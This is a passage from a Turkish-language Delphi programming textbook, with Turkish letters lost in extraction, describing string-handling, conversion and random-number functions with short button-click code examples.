kinci parametre ierisinde birinci parametreyle girilen deeri arar. ayet bulursa ilk karakterin kanc karakterde bulunduunu, bulamazsa da sfr deerini dndrr. procedure TForm1.Button8Click(Sender: TObject); var metin,aranan:AnsiString; sonuc:Integer; begin metin:='Prestige Education Center'; aranan:='Center'; sonuc:=AnsiPos(aranan,metin); if sonuc<>0 then //iinde varsa Form1.Caption:=IntToStr(sonuc);//20 yazar end; imdi bu fonksiyona gzel bir rnek verelim. rneimizde Edit kutusuna girilecek olan dosya adnda (uzantsyla beraber) . Karakteri aratlmakta, 324

ardnda dosya ad Edit2 ye, uzants da Edit3 e yazdrlmaktadr. Aadaki tasarm oluturup gerekli olan kodlar ekleyiniz. procedure TForm2.Button1Click(Sender: TObject); var dosya,ad,uzanti:AnsiString; sonuc:Integer; begin dosya:=Edit1.Text; sonuc:=AnsiPos('.',dosya);//Nokta kanc karakter ad:=AnsiLeftStr(dosya,sonuc-1); //Noktadan ncesi uzanti:=AnsiMidStr(dosya,sonuc+1,Length(dosya)+sonuc); //Noktadan sonrasn al Edit2.Text:=ad;//Dosya adn yaz Edit3.Text:=uzanti; //Dosyann uzantsn yaz end;

AnsiReplaceStr(metin,deiecek_metin,yeni_metin)
Tanmlama: function AnsiReplaceStr(const AText, AFromText, AToText: string): string;

Birinci parametre ile girilen metin ierisindeki, ikinci parametre ile belirtilen blmn yerine, nc parametre ile belirtilen metni aktarabilen bir fonksiyondur. procedure TForm1.Button9Click(Sender: TObject); var metin,sonuc:AnsiString; begin metin:='Ne Var'; sonuc:= AnsiReplaceStr(metin,'Var','Haber'); Form1.Caption:=sonuc; //Ne Haber yazar end;

325

rnee dikkat edecek olursanz metin deikeninin ierii olan Ne Var stringi ierisindeki Var n yerine Haber yazmas sylenmitir. Sonuta haliyle Ne Haber olarak olumutur. Deitirilecek metnin bulunamamas durumunda deer aynen dndrlr. Fonksiyonun kk byk harfe duyarl olduunu belirtmek isterim (Yani Var aranmaktadr var deil). AnsiReplaceText(metin,deiecek_metin,yeni_metin)
Tanmlama: function AnsiReplaceText(const AText, AFromText, AToText: string): string;

AnsiReplaceStr fonksiyonu ile ayn ii yapar. Aralarndaki tek fark bu fonksiyonun harf duyarllnn olmamasdr. Yani aranan deerin var veya Var olmas fonksiyon iin fark etmeyecek, metni deitirecektir. procedure TForm1.Button9Click(Sender: TObject); var metin,sonuc:AnsiString; begin metin:='Ne Var'; sonuc:= AnsiReplaceText (metin,'var','Haber'); Form1.Caption:=sonuc; //Ne Haber yazar end; AnsiReverseString (metin)
Tanmlama: function AnsiReverseString(const AText: AnsiString): AnsiString;

Parametre ile girilen metin deerini ters evirerek, yeni bir metin oluturan fonksiyondur. Aada bu fonksiyon rneklendirilmektedir. procedure TForm1.Button10Click(Sender: TObject); //Ters Yaz var metin,sonuc:AnsiString; begin metin:='Nihat'; sonuc:=AnsiReverseString(metin);//Ters evir Form1.Caption:=sonuc;//tahiN yazar end;

326

Fonksiyondan geriye dnen deer AnsiString tipte bir ierie sahip olduu iin balkta dntrme yaptrmadan yazdrlabilmektedir. AnsiRightStr(metin,sadan_ka_karakter)
Tanmlama: function AnsiRightStr(const AText: AnsiString; const ACount: Integer): AnsiString;

Birinci parametre ile girilen metnin sa tarafndan (sonundan), ikinci parametre ile belirtilen say kadar karakteri skp alabilen bir fonksiyondur. Aada bu fonksiyon rneklendirilmitir. uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,StrUtils;//Eklemeyi unutmaynz procedure TForm1.Button11Click(Sender: TObject); //StrUtils eklemeyi unutmaynz. //Sadan kopar var metin,sonuc:AnsiString; begin metin:='Prestige'; sonuc:=AnsiRightStr(metin,4); //sadan 4 karakteri al Form1.Caption:=sonuc; //tige yazar end; AnsiUpperCase(metin)
Tanmlama: function AnsiUpperCase(const S: string): string;

Parametre ile girilen metni byk harfle yazdrabilmek iin kullanlan bir fonksiyondur. procedure TForm1.Button12Click(Sender: TObject); //Byk Harfe evir var metin,sonuc:AnsiString; begin metin:='nihat demirli'; sonuc:=AnsiUpperCase(metin);//byk harfe evir

327

Form1.Caption:=sonuc;// NIHAT DEMIRLI yazar end; CompareStr(metin1,metin2)


Tanmlama: function CompareStr(const S1, S2: string): Integer;

Birinci ve ikinci parametre ile girilen metinlerin eit olup olmadklarn kontrol edebilen bir fonksiyondur. kinci metnin ierisinde birinci metni arar, ayet bulursa negatif, bulamazsa pozitif, ikisi ayn ise sfr deerini dndrr. procedure TForm1.Button13Click(Sender: TObject); //inde ara var metin,sonuc:AnsiString; sayi:Integer; begin metin:='Prestige'; sonuc:='Prestige Education Center'; sayi:=CompareStr(metin,sonuc); //iinde varm if sayi>0 then Form1.Caption:='inde Yok' else if sayi<0 then Form1.Caption:='inde Var' //buras iler else Form1.Caption:='kisi Ayn'; end; Fonksiyon kk byk harfe hassas ekilde almaktadr. Yani ilk parametrenin (metin) deerini prestige (hepsi kk) olarak deitirirseniz, iinde yok ksm ileyecektir. CompareText(metin1,metin2)
Tanmlama: function CompareText(const S1, S2: string): Integer;

CompareStr fonksiyonuyla ayn ii yapar. Aralarndaki tek fark bu fonksiyonun harf duyarllnn olmamasdr. Fonksiyonun geriye dndrd deer pozitif say, negatif say veya sfrdr. Bu deeri basit bir dallanmaya tabi tutarak, ikinci metnin ierisinde birinci metnin 328

(harf duyarll olmadan) var olup olmadn kolayca renebilirsiniz. CompareStr fonksiyonuyla alma mant benzetii iin burada rneklendirme yapmamay uygun buldum (Siz isterseniz ayn rnei zebilirsiniz). Concat(metin1,metin2................metinn)
Tanmlama: function Concat(s1 [, s2,..., sn]: string): string;

Parametre ile belirtilen deiken deerlerini yanyana yazdrmak iin kullanlan bir fonksiyondur. procedure TForm1.Button14Click(Sender: TObject); var metin1,metin2,sonuc:AnsiString; begin metin1:='Nihat'; metin2:='Demirli'; sonuc:=Concat(metin1,metin2); //yanyana yaz Form1.Caption:=sonuc;//NihatDemirli yazar end; ayet araya boluk braklmas istenirse, o zaman kodu aadaki ekilde deitirmelisiniz. procedure TForm1.Button14Click(Sender: TObject); var metin1,metin2,sonuc:AnsiString; begin metin1:='Nihat'; metin2:='Demirli'; sonuc:=Concat(metin1,' ',metin2); //arada boluk brak Form1.Caption:=sonuc;//Nihat Demirli yazar end; Copy(metin,index,adet)
Tanmlama: function Copy(S; Index, Count: Integer): string; function Copy(S; Index, Count: Integer): array;

Birinci parametreyle girilen metnin ieriinden, ikinci parametrede belirtilen karakterden sonra, nc parametreyle belirtilen adet kadar karakteri skp alabilen bir fonksiyondur. Fonksiyondan geriye dnen deer yine bir AnsiString 329

veri olaca iin sonu herhangi bir tip dntrme ilemine gerek kalmadan direkt olarak yazdrlabilir. Aada bu fonksiyona ait rneklendirme yaplmtr. Dikkatlice inceleyiniz. procedure TForm1.Button15Click(Sender: TObject); var metin,sonuc:AnsiString; begin metin:='Prestige Education Center'; sonuc:=Copy(metin,10,9);//10.karakterden sonraki 9 karakter Form1.Caption:=sonuc;//Education yazar end; Delete(metin,index,adet)
Tanmlama: procedure Delete(var S: string; Index, Count:Integer);

Birinci parametre ile girilen metin deerinden, ikinci parametre ile girilen karakterden sonra, nc parametreyle girilen say kadar karakteri skp atan bir prosedrdr. Dikkat edeceiniz husus, yaplan deiikliin metin isimli parametrenin deerine yansyacadr. procedure TForm1.Button16Click(Sender: TObject); var metin:AnsiString; begin metin:='Sibel Yanar'; Delete(metin,1,5);//1. karakterden sonraki 5 karakteri at Form1.Caption:=metin; //Yanar yazar end; DupeString(metin,adet)
Tanmlama: function DupeString(const AText: string; ACount: Integer): string;

Birinci parametreyle girilen metni, ikinci parametreyle girilen adet kadar yanyana yazmak iin kullanlan bir fonksiyondur. procedure TForm1.Button17Click(Sender: TObject); var metin,sonuc:AnsiString; begin 330

metin:='Yksel nan'; sonuc:=DupeString(metin,2);//2 kere yanyaya yaz Form1.Caption:=sonuc; //Yksel nan Yksel nan yazar end; Insert(eklenecek_metin,metin,balang_karakteri)
Tanmlama: procedure Insert(Source: string; var S: string; Index: Integer);

Birinci parametreyle girilen metni, ikinci parametreyle girilen metne, nc parametrede belirtilen karakterden sonra eklemek iin kullanlan bir prosedrdr. Burada dikkat edeceiniz husus, yaplan deiikliin ikinci parametre deerine yansyacadr. procedure TForm1.Button18Click(Sender: TObject); var metin1,metin2:AnsiString; begin metin1:='Prestige Center'; metin2:='Education'; Insert(metin2,metin1,10);//10. karakterden sonra metin2 //yi ekle sonucu metin1 de gster Form1.Caption:=metin1;//Prestige EducationCenter yazar. end; LeftBStr(metin,adet)
Tanmlama: function LeftBStr(const AText: AnsiString; const AByteCount: Integer): AnsiString;

Birinci parametreyle belirtilen metinden, ikinci parametreyle belirtilen adet kadar karakteri skp alabilen bir fonksiyondur. procedure TForm1.Button19Click(Sender: TObject); var metin,sonuc:AnsiString; begin metin:='Prestige'; sonuc:= LeftBStr(metin,3);//ilk karakteri al Form1.Caption:=sonuc; //Pre yazar end;

331

Daha ncede ayn ilemi yapan fonksiyonu gstermitik. Banda Ansi olan fonksiyon ve prosedrlerin kullanabilecei karakterler daha fazladr. Ama tercih tamamen sizlere kalmtr. stediiniz fonksiyonu veya prosedr kullanabilirsiniz. Length(metin)
Tanmlama: function Length(S): Integer;

Parametre ile belirtilen metnin ka karakterden olutuunu hesaplayabilmek iin kullanlan bir fonksiyondur. procedure TForm1.Button20Click(Sender: TObject); var metin:AnsiString; uzunluk:Integer; begin metin:='Nihat Demirli'; uzunluk:=Length(metin); Form1.Caption:='sminiz '+ IntToStr(uzunluk)+' Karakterden Oluuyor'; end; Fonksiyondan geriye dnen deer tam say tipli olaca iin, balkta yazdrmak tip dntrme fonksiyonu sayesinde yaplabilmektedir. LowerCase(metin)
Tanmlama: function LowerCase(const S: string): string;

AnsiLowerCase (daha nce izah edildi) fonksiyonunun yapt ii yapar (Ansi ktphanesinin daha zengin olduunu hatrlatalm). Parametre olarak girilen metni kk harfe dntrmek iin kullanlr. MidStr(metin,balang,adet)
Tanmlama: function MidStr(const AText: AnsiString; const AStart, ACount: Integer): AnsiString; overload; function MidStr(const AText: WideString; const AStart, ACount: Integer): WideString; overload;

Birinci parametre ile belirtilen metinden, ikinci parametre ile girilen balang karakterinden balayarak, nc parametre ile girilen adet kadar karakteri paralayp almak iin kullanlan bir fonksiyondur. 332

procedure TForm1.Button21Click(Sender: TObject); var metin,sonuc:AnsiString; begin metin:='Gazi niversitesi'; sonuc:=MidStr(metin,2,6);//2. karakterden sonraki 6 karakter ShowMessage(sonuc); //azi n yazar bolukta bir karakterdir end; Pos(metin1,metin2)
Tanmlama: function Pos(Substr: string; S: string): Integer;

Birinci parametre ile girilen deer ile ikinci parametre ile girilen deeri karlatrmak iin kullanlan bir fonksiyondur. ayet iki parametre farkl deerler ieriyorsa (iinde bulunmuyor ise) sonu 0 olacaktr. procedure TForm1.Button22Click(Sender: TObject); //Bo fonksiyou ifre uygulamalarnda kullanmayn var sifre:AnsiString; sonuc:Integer; begin sifre:=Edit1.Text; sonuc:=Pos('gazi',sifre);//girilen metin gazi mi if sonuc=0 then //edit kutusuna gazi girilmedi ise Form1.Caption:='ifre Yanl'; end; RightStr(metin,sadan_ka_karakter)
Tanmlama: function RightStr(const AText: AnsiString; const ACount: Integer): AnsiString; overload; function RightStr(const AText: WideString; const ACount: Integer): WideString; overload;

Birinci parametre ile belirtilen metnin sonundan, ikinci parametre ile belirtilen adet kadar karakteri skp almak iin kullanlan fonksiyondur (AnsiRightStr fonksiyonunun yapt ii yapar). procedure TForm1.Button23Click(Sender: TObject); var metin,sonuc:AnsiString; 333

begin metin:='Aye Yanar'; sonuc:=RightStr(metin,5); //sadan 5 karakteri al Form1.Caption:=sonuc; //Yanar yazar end; SetLength(metin,soldan_ka_karakter)
Tanmlama: procedure SetLength(var S; NewLength: Integer);

Birinci parametre ile belirtilen metinden, ikinci parametre ile belirtilen adet kadar karakteri skp alabilen bir prosedrdr. procedure TForm1.Button24Click(Sender: TObject); var metin:AnsiString; begin metin:='Sibel'; SetLength(metin,4); //ilk 4 karakteri aktar Form1.Caption:=metin;//Sibe yazar end; SetString(metin,katar,soldan_ka_karakter)
Tanmlama: procedure SetString(var s: string; buffer: PChar; len: Integer);

Birinci parametre ile belirtilen metne, ikinci parametre ile belirtilen katarn, nc parametre ile belirtilen adet kadar karakterini (soldan) aktarabilen bir prosedrdr. procedure TForm1.Button25Click(Sender: TObject); var metin:AnsiString; yaz:PChar; //katar deikeni begin yaz:='Sibel'; SetString(metin,yaz,2); //ilk iki karakteri aktar Form1.Caption:=metin; //Si yazar end;

334

Str(sayi,metin)
Tanmlama: procedure Str(X [: Width [: Decimals ]]; var S);

Birinci parametre ile girilen sayy (ondalkl veya tam say), ikinci parametre ile girilen metne aktarmak iin kullanlan bir prosedrdr. lk parametre parasal tipte bir deiken de olabilir. procedure TForm1.Button26Click(Sender: TObject); var metin,sonuc:AnsiString; begin metin:='prestige'; Str(555,metin);//metne aktar Form1.Caption:=metin; //555 yazar end; StringOfChar(karakter,adet)
Tanmlama: function StringOfChar(Ch: Char; Count: Integer): string;

Birinci parametre ile belirtilen karakteri, ikinci parametre ile belirtilen adet kadar yan yana yazdrmak iin kullanlan bir fonksiyondur. procedure TForm1.Button27Click(Sender: TObject); var metin:AnsiString; begin metin:=StringOfChar('*',10); Form1.Caption:=metin;//10 adet ********** yazar end; Grsel diller kmadan nce ok kullanlan (hakikaten ie yarard) bir fonksiyondu (Pascal, C vs). Bilhassa balk ve paragraf altlarn izdirmek iin kullanlrd. Biliyorum hepiniz Edit Kutusuna girilen karakteri yanyana yazdrmay deneyeceksiniz, ama olmayacak. Unutmaynz ki Char tipli verilerle AnsiString tipli veriler ayn deildir. Bu tip durumlarda izleyeceiniz yol aadaki gibi olmaldr. procedure TForm1.Button28Click(Sender: TObject); 335

var metin:AnsiString; karakter:Array[0..1] Of Char; begin StrCopy(karakter,PChar(Edit1.Text));//Editteki karakteri char tip deikene al metin:=StringOfChar(karakter[0],10);//yanyana yaz Form1.Caption:=metin;//10 adet ********** yazar end; StringReplace(metin,deiece_blm,yeni_blm,seenek)
Tanmlama: function StringReplace(const S, OldPattern, NewPattern: string; Flags: TReplaceFlags): string;

Birinci parametre ile verilen metin ierisinde, ikinci parametre ile verilen ksm, nc parametre ile verilen ierikle deitirmek iin kullanlan bir fonksiyondur. procedure TForm1.Button29Click(Sender: TObject); var metin,sonuc:AnsiString; secenek:TReplaceFlags;//unutmayn begin secenek:=[rfIgnoreCase];//kk byk harf duyarll yok metin:='Senin ok Paran Var'; sonuc:=StringReplace(metin,'ok','Az',secenek);//ok ile Az deitir Form1.Caption:=sonuc; //Senin Az Paran Var yazar end; Ayn kodu aadaki ekilde yazarsanz bu durumda kk byk harf duyarll gsterecek dolaysyla sonu da farkl olacaktr. procedure TForm1.Button29Click(Sender: TObject); var metin,sonuc:AnsiString; secenek:TReplaceFlags; begin secenek:=[rfReplaceAll]; //Harf Duyarll var metin:='Senin ok Paran Var'; sonuc:=StringReplace(metin,'ok','Az',secenek); Form1.Caption:=sonuc; //Senin ok Paran Var yazar end;

336

Burada kullanlan TreplaceFlags nesnesi kme tipte Delphi tarafndan tanmlanm bir nesnedir. Dilerseniz gsterimini aadaki ekilde de kullanabilirsiniz. sonuc:=StringReplace(metin,'ok','Az',[rfReplaceAll]); Her iki durumda da sonu ayn olacaktr. [] iareti ierisinde kullanmay sakn unutmayn. StuffString(metin,balang,uzunluk,yeni_metin)
Tanmlama: function StuffString(const AText: string; AStart, ALength: Cardinal; const ASubText: string): string;

StringReplace fonksiyonuna benzer i grmektedir. Aralarndaki fark, deitirilecek olan ksmn burada karakter says ile belirlenmesidir. Aada bu fonksiyon rneklendirilmitir. procedure TForm1.Button30Click(Sender: TObject); var metin,sonuc:AnsiString; begin metin:='Senin ok Paran Var'; sonuc:=StuffString(metin,7,3,'Az'); //7. karakterden sonraki karakterin yerine Az yaz Form1.Caption:=sonuc; //Senin Az Paran Var yazar end; Trim(metin)
Tanmlama: function Trim(const S: string): string; overload; function Trim(const S: WideString): WideString; overload;

Parametre ile girilen metnin sol ve sandaki tm boluklar atmak iin kullanlan bir fonksiyondur. procedure TForm1.Button31Click(Sender: TObject); var metin,sonuc:AnsiString; begin metin:=' Prestige '; sonuc:=Trim(metin);//Boluklar at Form1.Caption:=sonuc;//Prestige yazar 337

end; Bilhassa yanllkla space tuuna baslmas durumunda oluabilecek olan hatalar engellemek amacyla kullanlan bir fonksiyondur. Bu fonksiyondan dolay kelimeler arasnda bulunan boluklar hi bir deiiklie uramazlar (aynen kalrlar). TrimLeft(metin)
Tanmlama: function TrimLeft(const S: string): string; overload; function TrimLeft(const S: WideString): WideString; overload;

Parametre ile girilen metnin sol tarafnda bulunan boluklar atmak iin kullanlan fonksiyondur. Son ksmda bulunan boluklara dokunmaz. procedure TForm1.Button32Click(Sender: TObject); var metin,sonuc:AnsiString; begin metin:=' Prestige'; sonuc:=TrimLeft(metin);//sol boluklar at Form1.Caption:=sonuc;//Prestige yazar end; TrimRight(metin)
Tanmlama: function TrimRight(const S: string): string; overload; function TrimRight(const S: WideString): WideString; overload;

Parametre ile girilen metnin sa tarafnda bulunan boluklar atmak iin kullanlan fonksiyondur. Balang ksmda bulunan boluklara dokunmaz. procedure TForm1.Button33Click(Sender: TObject); var metin,sonuc:AnsiString; begin metin:='Prestige '; sonuc:=TrimRight(metin);//sa boluklar at Form1.Caption:=sonuc;//Prestige yazar end;

338

UpperCase(metin)
Tanmlama: function UpperCase(const S: string): string;

Parametre ile girilen metindeki karakterlerin tamamn byk harfe evirmek iin kullanlan fonksiyondur. ayet metin ierisinde byk harfe rastlarsa onlara dokunmayacaktr. Daha nce rneklendirildii iin tekrar deinilmeyecektir. WrapText(metin,ilenv,alta_indirecek_karakterler,maxkarakter)
Tanmlama: function WrapText(const Line, BreakStr: string; nBreakChars: TSysCharSet; MaxCol: Integer):string; overload; function WrapText(const Line, MaxCol: Integer = 45):string; overload;

Birinci parametrede belirleyeceiniz metni, nc parametrede belirleyeceiniz karakterlerden herhangi birtanesine rastlamas durumunda alt satra indirmek iin kullanlan bir fonksiyondur. Aadaki rnei dikkatlice inceleyiniz. procedure TForm1.Button35Click(Sender: TObject); var metin,sonuc:AnsiString; begin metin:='Prestige Education Center'; sonuc:=WrapText(metin, #13#10, ['.',' ',#9,'-'], 10); ShowMessage(sonuc); end;

Grld belirtilen karakterlere (Space) rastlad anda alt satra inerek devam etmektedir. Chr(sayi)
Tanmlama: function Chr(X: Byte): Char;

Parametre ile girilen Ascii (0-255 aras) deerinin karakter karln bulmak iin kullanlan bir fonksiyondur. 339

procedure TForm1.Button36Click(Sender: TObject); var metin:AnsiString; begin metin:=Chr(65); Form1.Caption:=metin;// A yazar end; Aadaki gibi bir kodlama sayesinde tm karakterlerin Ascii kod karlklarn ListBox ierisinde yazdrabilirsiniz.

procedure TForm3.FormCreate(Sender: TObject); var i:Byte; begin for i:=0 to 255 do ListBox1.Items.Add(Chr(i)+'='+IntToStr(i)) end; Ord(karakter)
Tanmlama: function Ord(X);

Parametre ile girilen karakterin ascii deerini hesaplayan bir fonksiyondur. Fonksiyondan tam say tipli bir deer dnecei iin yazdrmak iin IntToStr tip dntrme fonksiyonunu kullanmalsnz.

340

Fonksiyonu rneklendirecek olursak; Edit kutusuna girilecek olan karakterin Ascii karln balkta yadrmak iin aadaki gibi KeyPress yordamna kod yazmalsnz. procedure TForm3.Edit1KeyPress(Sender: TObject; var Key: Char); begin Form3.Caption:=IntToStr(Ord(Key)); end; Button kontrolne (Biliyorum herkez bunu yapmak isteyecek) tklayarak ayn ilemi yaptrmak isterseniz (Key i kendiniz yaratmalsnz) aadaki gibi bir kodlamaya ihtiyacnz olacaktr. procedure TForm1.Button37Click(Sender: TObject); var karakter:Pchar;//Katar tanmlanyor begin karakter:=PChar(Edit1.Text); Form1.Caption:=IntToStr(Ord(karakter^)); end; veya procedure TForm1.Button38Click(Sender: TObject); var karakter:Array[0..2] of Char; begin StrCopy(karakter,PChar(Edit1.Text)); Form1.Caption:=IntToStr(Ord(karakter[0])); end; Val(metin,deiken,hata)
Tanmlama: procedure Val(S; var V; var Code: Integer);

341

Birinci parametreyle girilen ieriin soldan matematiksel anlam olan ksmn ikinci parametreye aktarr. Prosedr sayesinde ikinci parametrenin deeri deiecektir. procedure TForm3.Button2Click(Sender: TObject); var deger,hata:Integer; begin Val(Edit1.Texr,deger,hata); Form3.Caption:=IntToStr(deger); end; imdi aadaki tasarm oluturun. Daha sonra verilen kodlar Button kontrolnn OnClick yordamna yazp program altrnz.

procedure TForm3.Button2Click(Sender: TObject); var metin:AnsiString; deger,hata:Integer; begin metin:=Edit1.Text; Val(metin,deger,hata); Form3.Caption:=IntToStr(deger); end; Sonuca dikkat edecek olursanz. Edit kutusu ierisinde sayya evrilebilen ksm (sayya evrilemeyen ilk karaktere rastlad anda dierlerine bakmaz) alnarak, ikinci parametre ile girilen deikene aktarlmtr. Bu deikenin deeri de formunuzun balnda yazdrlmaktadr. StrToInt(metin)
Tanmlama: function StrToInt(const S: string): Integer;

342

String ierikli deerleri tam sayya evirmek iin kullanlan bir fonksiyondur. Saysal ierie evrilemeyen bir karaktere rastlarsa hata retecektir. procedure TForm1.Button40Click(Sender: TObject); var metin:AnsiString; deger:Integer; begin metin:='555'; deger:=StrToInt(metin);//tam sayya evir Form1.Caption:=IntToStr(deger*2); //1110 yazar end; StrToIntDef(metin,varsaylan_deer)
Tanmlama: function StrToIntDef(const S: string; const Default: Integer): Integer;

StrToInt fonksiyonu ile ayn ii yapar. Aralarndaki tek fark ayet sayya dntrlemeyecek bir deer gnderilirse, bu durumda fonksiyon hata retmemekte, ikinci parametre ile belirtilen deeri ileme sokmaktadr. Fark anlamanz iin aadaki iki rnei dikkatlice inceleyiniz. procedure TForm1.Button41Click(Sender: TObject); var metin:AnsiString; deger:Integer; begin metin:='555A'; deger:=StrToIntDef(metin,0);//tam sayya evir evrilemiyorsa deger isimli //deikenin deerini 0 yap Form1.Caption:=IntToStr(deger*2); //0 yazar end; stteki kodlamada metin deikeninin ieriinde A karakteri (sayya evrilemez) bulunduu iin, deger isimli deikenin ierii ikinci parametre ile girilen 0 deerine eit olacaktr. Bu aktarmay StrToInt fonksiyonu ile yaparsanz uygulamanz size hata mesaj verecektir. procedure TForm1.Button41Click(Sender: TObject); var metin:AnsiString; deger:Integer; begin 343

metin:='555'; deger:=StrToIntDef(metin,0);//tam sayya evir ayet evrilemiyorsa deger //isimli deikenin deerini 0 yap Form1.Caption:=IntToStr(deger*2); //1110 yazar end; Yukardaki rnekte ise metin deikeninin ieriinde sayya evrilemeyen bir karakter olmad iin deger isimli deikenin deeri 555 olacaktr. Bu dntrme ilemini StrToInt fonksiyonuyla yaparsanz ayn sonuca ularsnz (sayya evrilemeyen hi yabanc karakter yoktur). StrToFloat(metin)
Tanmlama: function StrToFloat(const S: string): Extended; overload; function StrToFloat(const S: string; const FormatSettings: TFormatSettings): Extended; overload;

Parametre ile girilen metni ondalkl sayya evirmek iin kullanlan bir fonksiyondur. Ondalkl sayya evrilemeyecek bir karaktere rastlarsa uygulamanz hata mesaj verecektir. procedure TForm1.Button42Click(Sender: TObject); var deger:Real; metin:AnsiString; begin metin:='555,111'; deger:=StrToFloat(metin);//ondalkl sayya evir Form1.Caption:=FloatToStr(deger);//555.111 yazar end; StrToFloatDef(metin,varsayilan_deer)
Tanmlama: function StrToFloatDef(const S: string; const Default: Extended): Extended; overload; function StrToFloatDef(const S: string; const Default: Extended; const FormatSettings: TFormatSettings): Extended; overload;

Ondalkl sayya evrilemeyen bir karaktere rastlanlmas durumunda StrToFloat fonksiyonu hata mesaj veriyordu. Bu fonksiyonla hata mesajn engelleyip varsaylan deerin kullanlmasn salayabilirsiniz.

344

procedure TForm1.Button43Click(Sender: TObject); var metin:AnsiString; deger:Real; begin metin:='555A,456'; deger:=StrToFloatDef(metin,0);//ondalkl sayya evir Form1.Caption:=FloatToStr(deger*2); //0 yazar end; Metin deikeni ierisinde ondalkl sayya evrilemeyecek karaktere rastlad iin deger isimli deikenin ieriini varsaylan (yani 0) kabul ederek ileme devam edecektir. IntToStr(sayi)-FloatToStr(ondalkl_say)
Tanmlama: function IntToStr(Value: Integer): string; overload; function IntToStr(Value: Int64): string; overload;

Parametre olarak girilen tam sayy stringe evirmek iin kullanlan fonksiyondur. Bilhassa kullancnn grmesini istediiniz ierikleri stringe evirmek zorunda kalacaksnz.
Tanmlama: function FloatToStr(Value: Extended): string; overload; function FloatToStr(Value: Extended; const FormatSettings: TFormatSettings): string; overload;

Parametre olarak girilen ondalkl sayy string ierie evirmek iin kullanlan fonksiyondur. Dier fonksiyonlarda yeterince uygulama yapld iin tekrar rnek verilmeyecektir. FloatToStrF(ondalkl_say,format,uzunluk,ondalkl_uzunluk)
Tanmlama: function FloatToStrF(Value: Extended; Format: TFloatFormat; Precision, Digits: Integer): string; overload; function FloatToStrF(Value: Extended; Format: TFloatFormat; Precision, Digits: Integer; const FormatSettings: TFormatSettings): string; overload;

Birinci parametre ile girilen ondalkl sayy ikinci parametrede belirtilen formatl hale dntrmek iin kullanlan bir fonksiyondur. procedure TForm4.Edit1Exit(Sender: TObject); 345

var metin:AnsiString; sayi:Extended; begin sayi:=StrToFloat(Edit1.Text); metin:=FloatToStrF(sayi,ffCurrency,Length(Edit1.Text),2); Edit1.Text:=metin; end; Fonksiyonda kullanlan birinci parametre, formatlanacak olan sayy, nc parametre toplam karakter saysn, drdnc parametrede ondalkl ksmda gzkecek olan karakter saysn belirlemek iin kullanlmaktadr. kinci parametre ise uygulanacak olan format belirleyecek olan blmdr. Alabilecei seenekler aada verilmektedir.
ffCurrency ffNumber ffFixed ffExponent ffGeneral Parasal Format iin kullanlr Binlik ayra uygulanm halde gsterilir Ondalkl Formatta gsterilir Say stel olarak gsterilir stel veya normal gsterim

procedure TForm4.Edit1Exit(Sender: TObject); var metin:AnsiString; sayi:Extended; begin sayi:=StrToFloat(Edit1.Text); metin:=FloatToStrF(sayi,ffCurrency,Length(Edit1.Text),2);//parasal format Edit1.Text:=metin; end; procedure TForm4.Edit2Exit(Sender: TObject); var 346

metin:AnsiString; sayi:Extended; begin sayi:=StrToFloat(Edit2.Text); metin:=FloatToStrF(sayi,ffCurrency,Length(Edit2.Text),2);//parasal format Edit2.Text:=metin; end; Parasal formatn nasl olaca (TL-$) Windowsunuzun blgesel ayarlar ksmndan otomatik olarak alnmaktadr. Eer blgesel ayarlar ksmndan Trkiye seilmise, paranzn sonuna Delphi tarafndan TL otomatik olarak konulacaktr. ayet USA seilmise o zaman da $ karakteri paranzn sonuna otomatik olarak eklenecektir. FormatFloat(format_tipi,sayi)
Tanmlama: function FormatFloat(const Format: string; Value: Extended): string; overload; function FormatFloat(const Format: string; Value: Extended; const FormatSettings: TFormatSettings): string; overload;

kinci parametre ile girilen ondalkl sayya, birinci parametre ile belirlenen format uygulayan fonksiyondur. Birinci parametre iin belirleyebileceiniz format tipleri aada tablo halinde verilmitir.
#,##0.00 #.## 0.00 1,234.00 1234 1234.00

imdi fonksiyona ait bir rnek yapalm. Aadaki gibi bir form tasarm oluturun.

Aadaki kodlar gerekli yordamlara ekleyip programnz altrnz. procedure TForm4.Edit3Change(Sender: TObject); var 347

metin:AnsiString; begin metin:=FormatFloat('#,',StrToFloat(Edit3.Text)); Form4.Caption:=metin; end;

Rastgele Say retim Fonksiyonlar Delhide rastgele say retmek son derece kolaydr. Bu ilem iin tanmlanm olan Random fonksiyonunu kullanabilirsiniz. Aada bu fonksiyona ait tanmlamann nasl yapldn grebilirsiniz.
Tanmlama: function Random [ ( Range: Integer) ];

Random fonksiyonu parametresiz kullanlrsa 0-1 arasnda rastgele ondalkl say retecektir. Aadaki kodlamaya dikkat ediniz. procedure TForm1.Button1Click(Sender: TObject); var sayi:Real; begin sayi:=Random;//0-1 arasnda ondalkl say ret Form1.Caption:=FloatToStr(sayi); end; Yukardaki ekilde reteceiniz saylar kullanmanz pek faydal olmayacaktr. Bu yzden parametre deeri girilerek istenilen aralklarda say retmek mmkn olmaktadr. Aadaki kodlamaya dikkat ediniz. Random(50); Satr sayesinde 0-49 arasnda deer retilebilir.

348

procedure TForm1.Button1Click(Sender: TObject); var sayi:Real; begin sayi:=Random(50); //0-49 arasnda say ret Form1.Caption:=FloatToStr(sayi); end; Aadaki gibi bir kod satryla da istenilen aralkta rastgele say retmeniz mmkn olacaktr. sayi:=Random(50)+75; //75-124 arasnda say ret Burada girilen ikinci say alt snr, ikisinin toplam da st snr belirleyecektir. procedure TForm1.Button2Click(Sender: TObject); var sayi:Real; begin sayi:=Random(50)+75; //75-124 arasnda say ret Form1.Caption:=FloatToStr(sayi); end; Rastgele say retim fonksiyonlarnda kullanlan dier bir fonksiyonda Randomize dir. Bu fonksiyon retilecek olan saylarn ayn periyotta olumasn engelleyecektir. procedure TForm1.Button2Click(Sender: TObject); var sayi:Real; begin Randomize;//Saate gre say ret sayi:=Random(50)+75; //75-124 arasnda say ret Form1.Caption:=FloatToStr(sayi); end; Artk programnz her altrdnz zaman deiik saylar retmeniz mmkn olacaktr. RandomFrom(dizi)
Tanmlama: function RandomFrom(const AValues: array of Double): Double; overload; function RandomFrom(const AValues: array of Integer): Integer; overload; function RandomFrom(const AValues: array of Int64): Int64; overload;

349

function RandomFrom(const AValues: array of string): string; overload;

